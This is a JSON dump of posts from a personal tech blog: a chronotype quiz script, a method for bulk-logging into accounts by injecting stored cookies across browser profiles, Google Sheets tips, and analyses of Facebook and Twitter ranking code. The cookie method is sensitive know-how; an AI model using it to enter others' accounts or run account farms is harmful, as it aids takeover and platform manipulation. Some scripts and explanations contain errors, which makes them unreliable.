document.getElementById('MEQ').addEventListener('click', () => { const finalScore = [] for (let i = 0; i < MEQScore.length; i++) { const itemScore = document.querySelector(`.q${i + 1}:checked`).value finalScore.push(itemScore) MEQScore[i].innerText = itemScore } const score = finalScore.reduce((x, y) => x + ~~y, 0) MEQResult.innerText = score if (score >= 16 && score <= 30) { MEQCategory.innerText = '绝对“夜晚型”' } else if (score => 31 && score <= 41) { MEQCategory.innerText = '中度“夜晚型”' } else if (score => 42 && score <= 58) { MEQCategory.innerText = '“中间型”' } else if (score => 59 && score <= 69) { MEQCategory.innerText = '中度“清晨型”' } else if (score => 70 && score <= 86) { MEQCategory.innerText = '绝对“清晨型”' } }) ","tags":[{"index":-1,"name":"生活","slug":"life","used":true,"link":"https://dev-coco.github.io/tag/life/"}],"title":"摆脱拖延症,提高效率","feature":"https://dev-coco.github.io/post-images/The-Procrastination.png","link":"https://dev-coco.github.io/post/The-Procrastination/","stats":{"text":"116 min read","time":6950000,"words":33942,"minutes":116},"date":"2023-05-26 10:24:57","dateFormat":"2023-05-26"},{"content":"使用 Cookies 在多个浏览器人员批量登陆账号。 插件下载:Chrome 插件合集 使用方法 Google Excel 模板:模板 在表格 A 列放入需要登陆的域名,不带 https 前缀,B 列放入对应的 Cookies,C 列留空。 然后点击「扩展程序」,选择「Apps 脚本」。 点击「部署」,选择「新建部署」。 选择「Web 应用」,然后按照步骤部署,部署成功后会有一个脚本链接。 解压插件包,使用文本打开「background.js」文件,在第六行的引号里放入刚才部署好的脚本链接。 const scriptUrl = '' 将插件安装到浏览器,并且把浏览器的插件配置复制到其它浏览器人员,当重新启动浏览器人员的时候就会使用 Cookies 登陆账号。注意:还没使用 Cookies 登陆过账号的浏览器启动的间隔时间不要太短,否则可能会出现问题。 会先通过脚本链接从表格里面随机取一个未登陆过的 Cookies,然后在浏览器登陆,登陆完成后在表格对应的 C 列标记 Login。 ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"}],"title":"批量登陆账号","feature":"https://dev-coco.github.io/post-images/Cookies-Login-Account.png","link":"https://dev-coco.github.io/post/Cookies-Login-Account/","stats":{"text":"2 min read","time":61000,"words":289,"minutes":2},"date":"2023-05-04 23:44:34","dateFormat":"2023-05-04"},{"content":"减少文件在 Google Excel 占用的内存。 优化思路 使用外部链接代替本地文件。 实例 在表格中使用「在单元格内插入图片」和「在单元格上方插入图片」都会占用表格的内存,如果图片的尺寸越大,就会占用越大的内存。 如果插入的图片多了,表格就会变得非常大,不过储存空间最多只能显示 500MB 但其实可能会占用更多的空间,只是不会被显示出来而已。 使用 Gyazo 截图,把链接粘贴在单元格内,再使用 IMAGE 函数获取图片。 这样做的好处是使用第三方服务来托管图片,不会占用表格的空间。 为你推荐:Google Excel 性能优化教程目录 ","tags":[{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel 性能优化 - 减少内存","feature":"https://dev-coco.github.io/post-images/Google-Excel-Boost-Reduce-Storage.jpg","link":"https://dev-coco.github.io/post/Google-Excel-Boost-Reduce-Storage/","stats":{"text":"1 min read","time":42000,"words":205,"minutes":1},"date":"2023-04-30 01:24:32","dateFormat":"2023-04-30"},{"content":"将 Google Excel 性能优化相关的文章整理成目录方便查找。 目录 序号 目录 1 IF 管理函数执行 2 IF 跳过无效内容 3 引用范围 4 减少单元格 5 跨表引用 6 创建辅助表 7 数据压缩 8 跨表计数 9 数组输出 10 下拉菜单性能对比 11 数据匹配性能对比 12 减少内存 13 多人编辑表格出现错误 相关推荐:Google 脚本基础教程目录 ","tags":[{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel 性能优化教程目录","feature":"https://dev-coco.github.io/post-images/Google-Excel-Boost-Tutorial.jpg","link":"https://dev-coco.github.io/post/Google-Excel-Boost-Tutorial/","stats":{"text":"1 min read","time":28000,"words":127,"minutes":1},"date":"2023-04-29 23:20:57","dateFormat":"2023-04-29"},{"content":"Provide a detailed introduction to the latest Facebook algorithm and its weight calculation method. .form{width:300px;margin-bottom:20px;background-color:#fff;border:1px solid transparent;border-radius:16px 16px 5px 5px;box-shadow:0 1px 1px rgba(0,0,0,.05);border-color:#428bca;margin:10px auto}.panel-heading{color:#fff;background-color:#428bca;border-color:#428bca;text-align:center;padding:15px;border-bottom:1px solid transparent;border-top-right-radius:13px;border-top-left-radius:13px}lable{width:100px;font-size:16px;padding-top:7px;float:left;text-align:right}.form-control{font-size:16px;margin-top:10px;margin-bottom:10px}.btn,input,select{margin-left:10px;padding:5px;font-size:16px;width:150px;box-sizing:border-box}.btn{margin:0 auto}#postScore,#recationScore{text-align:center;margin:5px}.icon{width:20px;margin:0 5px!important;vertical-align:middle;display:inline!important} I will be discussing the algorithm used by Facebook and how weights are calculated for different features. If you wish to repost this content, please provide proper attribution and include a link to this article. Factors that influence ranking Affinity Score The Affinity Score refers to the degree of closeness between a user and content. It is based on the user's interaction history with a post, such as whether they frequently engage with the account or the type of content. The higher the Affinity Score between a user and a post, the higher the post's weight score. Weight Value Weight value refers to the user's interaction with a post, including likes, comments, shares, and so on. It is used to measure the weight of a user's interaction with a particular post. Different types of interactions carry different weights when calculating weight scores. Below are the weight scores for different types of interactions. Category Weight score Like    1 Love    2 Wow     3 Hah     4 Sorry   7 Anger   8 Support 16 Comment 13 Share 26 Popular 400 Weighted Score Algorithm f1(w1) = P1 x wP1 + P2 x wP2 + P3 x wP3 + P4 x wP4 + P7 x wP7 + C x wC + S x wS P1-P7 represent the number of likes for different types of likes. wP1-wP7 represent the weight scores for different types of likes. C represents the number of comments. wC represents the weight score for comments. S represents the number of shares. wS represents the weight score for shares. For example, if a post has 19 likes, 8 loves, 3 hugs, 44 comments, and 2 shares, then the weighted score is calculated as 19 * wP1 + 8 * wP2 + 3 * wP3 + 44 * wC + 2 * wS = total score, which in this case is 707. If the total score is greater than 400, then the post is considered to be popular. Post Weight Calculator Like Love Wow Hah sorry anger support comment share Calculate Time Decay Refers to the time of posting a message. As time goes on, the weight score of the message will gradually decrease to reflect its freshness and relevance. Time Decay Algorithm decayFactor = 0.5 ^ (age / halfLife) "Age" represents the time interval between the post's publication and the present, "halfLife" represents the set half-life, which is 12 hours in duration and measured in milliseconds. "DecayFactor" represents the decay factor calculated based on time decay, with a value between 0 and 1. Post Weight Decay Calculator Post date Calculate Homepage Ranking The total weight score is calculated as the sum of intimacy score and interaction score, multiplied by time decay. The algorithm will put the posts into the "warehouse" based on the total weight score. Every time a user refreshes the homepage, the posts with higher weight scores will be presented by selecting them from the warehouse. Post Sentiment Positive sentiment make posts more likely to be promoted, while negative sentiment decrease the likelihood of post promotion. The following tool can analyze whether the sentiment in a post are positive or negative based on its content. Post Sentiment Analyze Please Enter content function recationScore () { const like = document.getElementById('like').value const love = document.getElementById('love').value const wow = document.getElementById('wow').value const haha = document.getElementById('haha').value const sorry = document.getElementById('sorry').value const anger = document.getElementById('anger').value const support = document.getElementById('support').value const comment = document.getElementById('comment').value const share = document.getElementById('share').value const recationScore = document.getElementById('recationScore') const score = ~~like + ~~love * 2 +~~ wow * 3 + ~~haha * 4 + ~~sorry * 7 + ~~anger * 8 + ~~support * 16 + ~~comment * 13 + ~~share * 26 recationScore.innerText = (score > 400 ? 'Popular ' : '') + score } function calcPostWeight () { const postTime = document.getElementById('postTime').value const postScore = document.getElementById('postScore') const now = new Date().getTime() const halfLife = 43200000 // 12h const age = now - new Date(postTime).getTime() const timeDecayFactor = Math.pow(0.5, age / halfLife) postScore.innerText = timeDecayFactor; } const postContent = document.getElementById('postContent') const sentimentStatus = document.getElementById('sentimentStatus') postContent.addEventListener('keyup', () => { if (!postContent.value) return sentimentStatus.innerText = 'Please Enter content' const score = analyzeSentiment(postContent.value) if (score >= 1) { if (score > 3) { sentimentStatus.innerText = '👍👍 Exceptionally positive' } else { sentimentStatus.innerText = '👍 Positive' } } else if (score <= -1) { if (score < -3) { sentimentStatus.innerText = '👎👎 Exceptionally negative' } else { sentimentStatus.innerText = '👎 Negative' } } else { sentimentStatus.innerText = 'Didn\\'t detect any sentiment' } }) ","tags":[{"name":"Facebook","slug":"facebook","used":true,"link":"https://dev-coco.github.io/tag/facebook/"}],"title":"Facebook Algorithm 2023 Update","feature":"https://dev-coco.github.io/post-images/Facebook-Algorithm-EN.png","link":"https://dev-coco.github.io/post/Facebook-Algorithm-EN/","stats":{"text":"6 min read","time":322000,"words":859,"minutes":6},"date":"2023-04-27 01:36:17","dateFormat":"2023-04-27"},{"content":"Provide a detailed explanation of Twitter's algorithm and its delivery mechanism. .form{width:300px;margin-bottom:20px;background-color:#fff;border:1px solid transparent;border-radius:16px 16px 5px 5px;box-shadow:0 1px 1px rgba(0,0,0,.05);border-color:#428bca;margin:10px auto}.panel-heading{color:#fff;background-color:#428bca;border-color:#428bca;text-align:center;padding:15px;border-bottom:1px solid transparent;border-top-right-radius:13px;border-top-left-radius:13px}lable{width:100px;font-size:16px;padding-top:7px;float:left;text-align:right}.form-control{font-size:16px;margin-top:10px;margin-bottom:10px}.btn,input,select{margin-left:10px;padding:5px;font-size:16px;width:150px;box-sizing:border-box}.btn{margin:0 auto}#accountScore,#postScore{text-align:center;margin:5px} I will provide a detailed explanation of my personal understanding of the Twitter algorithm code and include sources. However, different engineers may draw different conclusions from their analysis, and the Twitter algorithm may change at any time. Therefore, please approach the content of this article with a rational perspective and use it for reference only. If you intend to republish this article, please provide proper attribution and include a link to the original source. Twitter Tweet Weight Algorithm Twitter's algorithm model includes a machine learning model called "Heavy Ranker," which retrieves and ranks the weight scores of tweets for the "For You" section on the homepage. Below are the summarized weight values and upper limits for each type. Different functions have different upper limit values, and even if the quantity of a certain function is large, the gain will not be infinitely stacked. category score limit Like +0.5 points 100 points The user has liked the tweet. Retweeted +1.0 points 100 points The user has retweeted the tweet. Reply +13.5 points 100 points User's reply to a tweet. Access personal profile page. +12 points 1000000 points Follow a tweet to the author's page and show your support by liking or replying to their content. The video is being played. +0.005 points 100 points For tweets that contain videos, viewers are required to watch at least 50% of the content. Author's response +75 points 200 points The author of the tweet responded to a user's reply to the tweet. Reply to a reply +11 points 1000000 points Users can like or reply to replies to a tweet. View 2 minutes +10 points 1000000 points Users spend no less than 2 minutes view tweets. Negative reaction -74 points -1000 points Users have a negative reaction to the tweet (not interested in this tweet, block the author, hide the author). Reported -369 points -20000 points The user reported a tweet. Can you please provide me with more context on the situation? Code related to scores for various types. As the code for the upper limit is too lengthy, it is not included here but can be found in the source below. scored_tweets_model_weight_fav: 0.5 scored_tweets_model_weight_retweet: 1.0 scored_tweets_model_weight_reply: 13.5 scored_tweets_model_weight_good_profile_click: 12.0 scored_tweets_model_weight_video_playback50: 0.005 scored_tweets_model_weight_reply_engaged_by_author: 75.0 scored_tweets_model_weight_good_click: 11.0 scored_tweets_model_weight_good_click_v2: 10.0 scored_tweets_model_weight_negative_feedback_v2: -74.0 scored_tweets_model_weight_report: -369.0 Algorithm for Calculating Total Score score = sum_i { (weight of engagement i) * (probability of engagement i) } Total Score = Weight * Number of Participations. For example, let's say 10 users have liked a tweet, giving it a weight of +0.5 points. With 10 participants, the engagement score would be 0.5 * 10 = 5. Thus, the total weight would be 5 points. Source of tweet algorithm and overall score algorithm: README.md Source of Upper Limit: ScoredTweetsParam.scala However, there is a widely circulated notion online that the weight of a "like" is 30, while that of a retweet is 20. I looked up the source code of this claim. private def getLinearRankingParams: ThriftRankingParams = { ThriftRankingParams( `type` = Some(ThriftScoringFunctionType.Linear), minScore = -1.0e100, retweetCountParams = Some(ThriftLinearFeatureRankingParams(weight = 20.0)), replyCountParams = Some(ThriftLinearFeatureRankingParams(weight = 1.0)), reputationParams = Some(ThriftLinearFeatureRankingParams(weight = 0.2)), luceneScoreParams = Some(ThriftLinearFeatureRankingParams(weight = 2.0)), textScoreParams = Some(ThriftLinearFeatureRankingParams(weight = 0.18)), urlParams = Some(ThriftLinearFeatureRankingParams(weight = 2.0)), isReplyParams = Some(ThriftLinearFeatureRankingParams(weight = 1.0)), favCountParams = Some(ThriftLinearFeatureRankingParams(weight = 30.0)), langEnglishUIBoost = 0.5, langEnglishTweetBoost = 0.2, langDefaultBoost = 0.02, unknownLanguageBoost = 0.05, offensiveBoost = 0.1, inTrustedCircleBoost = 3.0, multipleHashtagsOrTrendsBoost = 0.6, inDirectFollowBoost = 4.0, tweetHasTrendBoost = 1.1, selfTweetBoost = 2.0, tweetHasImageUrlBoost = 2.0, tweetHasVideoUrlBoost = 2.0, useUserLanguageInfo = true, ageDecayParams = Some(ThriftAgeDecayRankingParams(slope = 0.005, base = 1.0)) ) } The code did set default values for the permission to like at 30 and to retweet at 20, but it has since been removed as it was deemed unnecessary and was not being used for ranking purposes. Source: EarlybirdTensorflowBasedSimilarityEngine.scala Advertising Weight Algorithm Advertising: +10,000 weight points object AdsCandidateGenerationScoreBoostFactor extends FSBoundedParam[Double]( name = "ads_candidate_generation_score_boost_factor", default = 10000.0, min = 1.0, max = 100000.0 ) Source:AdsParams.scala Twitter Blue Weighting Algorithm Subscribing to Twitter Blue provides additional weighting bonuses. category Score Twitter Blue (followed) 4x Accounts already followed. Twitter Blue (unfollowed) 2x Account that is not being followed. Code related to weight for Twitter Blue. object BlueVerifiedAuthorInNetworkMultiplierParam extends FSBoundedParam[Double]( name = "home_mixer_blue_verified_author_in_network_multiplier", default = 4.0, min = 0.0, max = 100.0 ) object BlueVerifiedAuthorOutOfNetworkMultiplierParam extends FSBoundedParam[Double]( name = "home_mixer_blue_verified_author_out_of_network_multiplier", default = 2.0, min = 0.0, max = 100.0 ) Sources of Weighting for Twitter Blue:HomeGlobalParams.scala Account Weight Algorithm Calculate the weight value of an account based on its status. Inactive accounts: 0 points Verified accounts: 100 points Unverified accounts: Score is calculated based on a combination of device, account information, and age, with a maximum of 55 points. In addition, the ratio of followers to following will also be factored in to determine the final weight value. Related Code object UserMass { private val currentTimestamp = Time.now.inMilliseconds private val constantDivisionFactorGt_threshFriendsToFollowersRatioUMass = 5.0 private val threshAbsNumFriendsUMass = 500 private val threshFriendsToFollowersRatioUMass = 0.6 private val deviceWeightAdditive = 0.5 private val ageWeightAdditive = 0.2 private val restrictedWeightMultiplicative = 0.1 def getUserMass(combinedUser: CombinedUser): Option[UserMassInfo] = { val user = Option(combinedUser.user) val userId = user.map(_.id).getOrElse(0L) val userExtended = Option(combinedUser.user_extended) val age = user.map(_.created_at_msec).map(DateUtil.diffDays(_, currentTimestamp)).getOrElse(0) val isRestricted = user.map(_.safety).exists(_.restricted) val isSuspended = user.map(_.safety).exists(_.suspended) val isVerified = user.map(_.safety).exists(_.verified) val hasValidDevice = user.flatMap(u => Option(u.devices)).exists(_.isSetMessaging_devices) val numFollowers = userExtended.flatMap(u => Option(u.followers)).map(_.toInt).getOrElse(0) val numFollowings = userExtended.flatMap(u => Option(u.followings)).map(_.toInt).getOrElse(0) if (userId == 0L || user.map(_.safety).exists(_.deactivated)) { None } else { val mass = if (isSuspended) 0 else if (isVerified) 100 else { var score = deviceWeightAdditive * 0.1 + (if (hasValidDevice) deviceWeightAdditive else 0) val normalizedAge = if (age > 30) 1.0 else (1.0 min scala.math.log(1.0 + age / 15.0)) score *= normalizedAge if (score < 0.01) score = 0.01 if (isRestricted) score *= restrictedWeightMultiplicative score = (score min 1.0) max 0 score *= 100 score } val friendsToFollowersRatio = (1.0 + numFollowings) / (1.0 + numFollowers) val adjustedMass = if (numFollowings > threshAbsNumFriendsUMass && friendsToFollowersRatio > threshFriendsToFollowersRatioUMass) { mass / scala.math.exp( constantDivisionFactorGt_threshFriendsToFollowersRatioUMass * (friendsToFollowersRatio - threshFriendsToFollowersRatioUMass) ) } else { mass } Some(UserMassInfo(userId, adjustedMass)) } } } Here are some variable values defined: currentTimestamp: current timestamp (used to calculate the difference between account and current time). constantDivisionFactorGt_threshFriendsToFollowersRatioUMass: constant factor for the ratio of friends to followers (used to measure the proportion of a user's friends to followers). threshAbsNumFriendsUMass: minimum number of friends a user must have (used to calculate user weight). threshFriendsToFollowersRatioUMass: threshold for the ratio of friends to followers (minimum allowed value for the ratio of a user's friends to followers; exceeding this value can have negative consequences). deviceWeightAdditive: device weight. ageWeightAdditive: age weight (seems to be unused). restrictedWeightMultiplicative: weight for restricted users. When calculating the score, the account status is first checked. If the account has been deactivated, the score is 0. If the account is verified, the score is 100. If the account is not verified, the score is calculated based on certain conditions. if (isSuspended) 0 else if (isVerified) 100 else { var score = deviceWeightAdditive * 0.1 + (if (hasValidDevice) deviceWeightAdditive else 0) val normalizedAge = if (age > 30) 1.0 else (1.0 min scala.math.log(1.0 + age / 15.0)) score *= normalizedAge if (score < 0.01) score = 0.01 if (isRestricted) score *= restrictedWeightMultiplicative score = (score min 1.0) max 0 score *= 100 score } In this code, it first checks whether a valid device is held and then adds the initial weight. However, I couldn't find any other code that checks the validity of the device in more detail. If the device is valid, it returns 0.5 points, and if it's invalid, it returns 0 points. The default value of deviceWeightAdditive is 0.5, so according to the following algorithm, assuming the device is valid, the score would be 0.55 points (0.5 * 0.1 + 0.5). deviceWeightAdditive * 0.1 + (if (hasValidDevice) deviceWeightAdditive else 0) After calculating based on age, if the age is greater than 30 years old, return 1 point. If the age is less than or equal to 30 years old, proceed to the next calculation by dividing the age by 15, adding 1, and then taking the natural logarithm. The natural logarithm is the logarithm with base e, denoted as ln(x). Assuming the age is 22 years old, ln(1 + 22/15) ≈ 0.9028677115420144. If the natural logarithm is less than 1, return the natural logarithm. If the natural logarithm is greater than 1, return 1. This means the maximum value of normalizedAge will not exceed 1. Finally, multiply the calculated result by the previously calculated score, which is 0.55 * 0.9028677115420144 = 0.49657724134810793. val normalizedAge = if (age > 30) 1.0 else (1.0 min scala.math.log(1.0 + age / 15.0)) score *= normalizedAge Some additional checks were made below. If the score is less than 0.01, it will return 0.01, but according to the above conditions, the score will not be lower than 0.01. If the account is restricted, the total score will be multiplied by the restricted weight, which is 0.1. If the score is greater than 1, it will be set to 1. If the score is less than 1, the current score will be returned. Finally, the score is multiplied by 100. Assuming the account is not restricted, based on the above conditions, the score is 49.657724134810793. if (score < 0.01) score = 0.01 if (isRestricted) score *= restrictedWeightMultiplicative score = (score min 1.0) max 0 score *= 100 Next, the score will be calculated based on the account's number of following and followers. It is calculated by adding 1 to the sum of following and dividing by 1 plus the sum of followers. For example, assuming the account has 600 following and 450 followers, the ratio of following to followers would be (1 + 600) / (1 + 450) ≈ 1.3325942350332594. val friendsToFollowersRatio = (1.0 + numFollowings) / (1.0 + numFollowers) First, two conditions are evaluated: whether the number of followers is greater than the user's minimum follower count (500) and whether the ratio of followers to following is greater than the threshold (0.6). If these two conditions are not met, the previously calculated score is returned without further calculation. If both conditions are met, the difference between the ratio of followers to following and the threshold is multiplied by the constant factor of followers and fans, resulting in 5 * (1.3325942350332594 - 0.6) = 3.6629711751662968. This result is then used to calculate the exponent using the exponential function. The exponential function formula is: f(x) = a^x. Using the calculated result, we can calculate the exponential function by computing e^3.6629711751662968 ≈ 2.565617039296528. This result is the final account weight score. val adjustedMass = if (numFollowings > threshAbsNumFriendsUMass && friendsToFollowersRatio > threshFriendsToFollowersRatioUMass) { mass / scala.math.exp( constantDivisionFactorGt_threshFriendsToFollowersRatioUMass * (friendsToFollowersRatio - threshFriendsToFollowersRatioUMass) ) } else { mass } Source:UserMass.scala Account Weight Calculator Account Status Status Suspended Verified Unverified Restricted? Select status restricted Unrestricted Birthday Followings Followers Calculate Ranking weight algorithm Category Score UI English, tweet not English 0.3x While the interface language of Twitter is in English, the tweets posted on the platform can be written in any language. Twitter English, UI not English 0.7x The tweet that was posted is written in English, however, the language used on Twitter's interface is not English. UI and language distinct. 0.1x Although the interface language of Twitter is English, the content of tweets posted on the platform can be written in languages other than English. Cannot recognize the language. 0.01x The language used in this tweet is neither user-friendly nor matches the interface language. UI English, tweet not English 0.3x The interface language of Twitter is English, but the tweets posted on it may not be in English. Images, videos, and news links 1.0x Accumulate a weights based on the number of media. External link Hide If a link is a non-media link and lacks sufficient interaction weight, it will be hidden. Downgrade Attribute No text content 1.0x There is no text in the content of the tweet. Only link 1.0x The tweet simply includes a link without any accompanying text. Only name 1.0x The tweet only has the name and no other content. As the code is too long, I have only extracted a part of it. The following code is not complete. Here are defined the initial values for each type. maxHitsPerUser has a default value of 3, which means the algorithm can push up to 3 tweets. If the account weight is greater than the value set by maxTweepcredForAntiGaming, the algorithm will push all tweets. struct ThriftRankingParams { 30: optional double langEnglishUIBoost = 0.3 31: optional double langEnglishTweetBoost = 0.7 32: optional double langDefaultBoost = 0.1 43: optional double unknownLanguageBoost = 0.01 60: optional bool enableHitDemotion = 0 61: optional double noTextHitDemotion = 1.0 62: optional double urlOnlyHitDemotion = 1.0 63: optional double nameOnlyHitDemotion = 1.0 64: optional double separateTextAndNameHitDemotion = 1.0 65: optional double separateTextAndUrlHitDemotion = 1.0 102: optional double multipleHashtagsOrTrendsBoost = 1 108: optional double tweetHasImageUrlBoost = 1 109: optional double tweetHasVideoUrlBoost = 1 110: optional double tweetHasNewsUrlBoost = 1 }(persisted='true') struct ThriftFacetRankingOptions { 35: optional i32 maxHitsPerUser = 3 36: optional i32 maxTweepcredForAntiGaming = 65 }(persisted='true') If a tweet includes a picture, video, or news link, the count will increase by 1 from its original quantity. Revised version: If a tweet includes a picture, video, or news link, the character count will increase by one from its original quantity. if (data.hasImageUrl || data.hasVideoUrl) { relevanceStats.setNumWithMedia(relevanceStats.getNumWithMedia() + 1); } if (data.hasNewsUrl) { relevanceStats.setNumWithNews(relevanceStats.getNumWithNews() + 1); } If a tweet contains images, videos, or news links, it will increase the weight of the tweet. The calculation method is: total score * (1 * (number of images + 1)). // Media/News url boosts. if (data.hasImageUrl || data.hasVideoUrl) { data.hasMedialUrlBoostApplied = true; boostedScore *= params.tweetHasMediaUrlBoost; } if (data.hasNewsUrl) { data.hasNewsUrlBoostApplied = true; boostedScore *= params.tweetHasNewsUrlBoost; } The following code snippet demonstrates that images, videos, or news links receive an additional weightage, whereas the absence of text, presence of only links or names result in reduced weightage. if (scoringData.tweetHasTrendsBoostApplied) { boostDetails.add(Explanation.match( (float) params.tweetHasTrendBoost, "[x] Tweet has trend boost")); } if (scoringData.hasMedialUrlBoostApplied) { boostDetails.add(Explanation.match( (float) params.tweetHasMediaUrlBoost, "[x] Media url boost")); } if (scoringData.hasNewsUrlBoostApplied) { boostDetails.add(Explanation.match( (float) params.tweetHasNewsUrlBoost, "[x] News url boost")); } boostDetails.add(Explanation.match(0.0f, "[FIELDS HIT] " + scoringData.hitFields)); if (scoringData.hasNoTextHitDemotionApplied) { boostDetails.add(Explanation.match( (float) params.noTextHitDemotion, "[x] No text hit demotion")); } if (scoringData.hasUrlOnlyHitDemotionApplied) { boostDetails.add(Explanation.match( (float) params.urlOnlyHitDemotion, "[x] URL only hit demotion")); } if (scoringData.hasNameOnlyHitDemotionApplied) { boostDetails.add(Explanation.match( (float) params.nameOnlyHitDemotion, "[x] Name only hit demotion")); } if (scoringData.hasSeparateTextAndNameHitDemotionApplied) { boostDetails.add(Explanation.match((float) params.separateTextAndNameHitDemotion, "[x] Separate text/name demotion")); } if (scoringData.hasSeparateTextAndUrlHitDemotionApplied) { boostDetails.add(Explanation.match((float) params.separateTextAndUrlHitDemotion, "[x] Separate text/url demotion")); } Source: ranking.thrift Source: FeatureBasedScoringFunction.java Tweet publishing time algorithm The score of a tweet will decrease over time. Related code: struct ThriftAgeDecayRankingParams { // the rate in which the score of older tweets decreases 1: optional double slope = 0.003 // the age, in minutes, where the age score of a tweet is half of the latest tweet 2: optional double halflife = 360.0 // the minimal age decay score a tweet will have 3: optional double base = 0.6 }(persisted='true') Here, a time decay function is used with a decay rate of 0.003 and a decay half-life of 360 minutes. This decay function indicates that the score of a tweet will gradually decrease over time, with the rate of decrease depending on the time difference and decay rate. In this case, when a tweet's posting time is 500 minutes apart from the current time, the decay score of the tweet can be calculated using the following formula: Decay Score = Base Score * exp(-Decay Rate * (Posting Time - Current Time) / Decay Half-life) Source: ranking.thrift Tweet Weight Decay Calculator Tweet post date Calculate Violations of Policy If a tweet contains content that violates policy, its ranking will be lowered. This includes, but is not limited to, encouraging self-harm, hate speech, gratuitous violence, promoting violence, encouraging mob harassment, tweets related to a deceased or dying user, releasing private information, violating privacy rights, threatening exposure, violent sexual behavior, sexual harassment, violent threats, interfering with elections, false election information, hacking content, fraud, platform manipulation, false Ukrainian information, misleading information, and false medical information. Related code val reasonToPolicyInViolation: Map[Reason, PolicyInViolation] = Map( AbuseEpisodic -> PolicyInViolation.AbusePolicyEpisodic, AbuseEpisodicEncourageSelfHarm -> PolicyInViolation.AbusePolicyEpisodicEncourageSelfharm, AbuseEpisodicHatefulConduct -> PolicyInViolation.AbusePolicyEpisodicHatefulConduct, AbuseGratuitousGore -> PolicyInViolation.AbusePolicyGratuitousGore, AbuseGlorificationOfViolence -> PolicyInViolation.AbusePolicyGlorificationofViolence, AbuseMobHarassment -> PolicyInViolation.AbusePolicyEncourageMobHarassment, AbuseMomentOfDeathOrDeceasedUser -> PolicyInViolation.AbusePolicyMomentofDeathDeceasedUser, AbusePrivateInformation -> PolicyInViolation.AbusePolicyPrivateInformation, AbuseRightToPrivacy -> PolicyInViolation.AbusePolicyRighttoPrivacy, AbuseThreatToExpose -> PolicyInViolation.AbusePolicyThreattoExpose, AbuseViolentSexualConduct -> PolicyInViolation.AbusePolicyViolentSexualConduct, AbuseViolentThreatHatefulConduct -> PolicyInViolation.AbusePolicyViolentThreatsHatefulConduct, AbuseViolentThreatOrBounty -> PolicyInViolation.AbusePolicyViolentThreatorBounty, OneOff -> PolicyInViolation.OneOff, VotingMisinformation -> PolicyInViolation.MisinformationVoting, HackedMaterials -> PolicyInViolation.HackedMaterials, Scams -> PolicyInViolation.Scam, PlatformManipulation -> PolicyInViolation.PlatformManipulation, MisinfoCivic -> PolicyInViolation.MisinformationCivic, MisinfoCrisis -> PolicyInViolation.AbusePolicyUkraineCrisisMisinformation, MisinfoGeneric -> PolicyInViolation.MisinformationGeneric, MisinfoMedical -> PolicyInViolation.MisinformationMedical, ) Source: PublicInterestRules.scala Tweet Push Mechanism Let's take "me" as an example. When I post a tweet, or interact with a certain post (like, reply, or share), the tweet will be pushed to my fans. If my followers engage with a tweet, it will be pushed to their own followers. If there is no engagement, it won't be pushed any further. Pink represents the relationship between blue followers, which are the followers of my followers. If the followers of my followers, represented by the pink fans in the diagram, engage with this post, it will be shared with their own set of followers. The green lines indicate the connection between the pink fans. If they persist in their interaction, they will continue to push each other outward in an ongoing cycle. function calculateAge (birth) { const birthDate = new Date(birth) const currentDate = new Date() let age = currentDate.getFullYear() - birthDate.getFullYear() if (currentDate.getMonth() < birthDate.getMonth() || (currentDate.getMonth() === birthDate.getMonth() && currentDate.getDate() < birthDate.getDate())) { age-- } return age } function calcAccountWeight () { const accountStatus = document.getElementById('accountStatus').value const isRestricted = document.getElementById('restrictedStatus').value const birthday = document.getElementById('birthday').value const numFollowings = document.getElementById('followings').value const numFollowers = document.getElementById('followers').value const accountScore = document.getElementById('accountScore') if (!accountStatus && !isRestricted && !birthday && !numFollowings && !numFollowers) return alert('Please fill in the information specification') let score const deviceWeightAdditive = 0.5 const hasValidDevice = true const threshAbsNumFriendsUMass = 500 const threshFriendsToFollowersRatioUMass = 0.6 const constantDivisionFactorGt_threshFriendsToFollowersRatioUMass = 5.0 const restrictedWeightMultiplicative = 0.1 const age = calculateAge(birthday) if (accountStatus === 'suspended') { score = 0 } else if (accountStatus === 'verified') { score = 100 } else if (accountStatus === 'unVerified') { score = deviceWeightAdditive * 0.1 + (hasValidDevice ? deviceWeightAdditive : 0) const normalizedAge = age > 30 ? 1.0 : Math.min(1.0, Math.log(1.0 + age / 15.0)) score *= normalizedAge if (score < 0.01) score = 0.01 if (isRestricted === 'restricted') score *= restrictedWeightMultiplicative score = Math.min(1.0, Math.max(0, score)) score *= 100 } const friendsToFollowersRatio = (1.0 + numFollowings) / (1.0 + numFollowers) let adjustedMass = 0 if (numFollowings > threshAbsNumFriendsUMass && friendsToFollowersRatio > threshFriendsToFollowersRatioUMass) { adjustedMass = score / Math.exp(constantDivisionFactorGt_threshFriendsToFollowersRatioUMass * (friendsToFollowersRatio - threshFriendsToFollowersRatioUMass)) } else { adjustedMass = score } accountScore.innerText = adjustedMass } function calcPostWeight () { const postTime = document.getElementById('postTime').value const postScore = document.getElementById('postScore') if (!postTime) return alert('Please select posting date') const halfLife = 360 const slope = 0.003 const base = 0.6 const minutesPassed = (Date.now() - new Date(postTime).getTime()) / (1000 * 60) const ageDecay = Math.pow(2, -minutesPassed / halfLife) const score = base + (1 - base) * ageDecay * Math.exp(-slope * minutesPassed) postScore.innerText = score } ","tags":[{"index":-1,"name":"Twitter (X)","slug":"twitter-x","used":true,"link":"https://dev-coco.github.io/tag/twitter-x/"}],"title":"Twitter Algorithm and Push Mechanism 2023 Update","feature":"https://dev-coco.github.io/post-images/Twitter-Algorithm-EN.png","link":"https://dev-coco.github.io/post/Twitter-Algorithm-EN/","stats":{"text":"22 min read","time":1294000,"words":3453,"minutes":22},"date":"2023-04-27 01:17:50","dateFormat":"2023-04-27"},{"content":"有多种方式都可以实现数据匹配,那么你知道哪种性能最快吗? 适用场景 小型数据优先考虑易用性,大型数据优先考虑性能。 测试条件 在 50 万的数据中匹配出对应的内容。 VLOOKUP 完全匹配 =VLOOKUP(A1, '工作表1'!A:B, 2, 0) 耗时约 22 秒左右。 INDEX + MATCH =INDEX('工作表1'!B:B, MATCH(A1, '工作表1'!A:A, 0)) 耗时约 1.7 秒左右。 INDIRECT + MATCH =INDIRECT("工作表1!B"&MATCH(A1, '工作表1'!A:A, 0)) 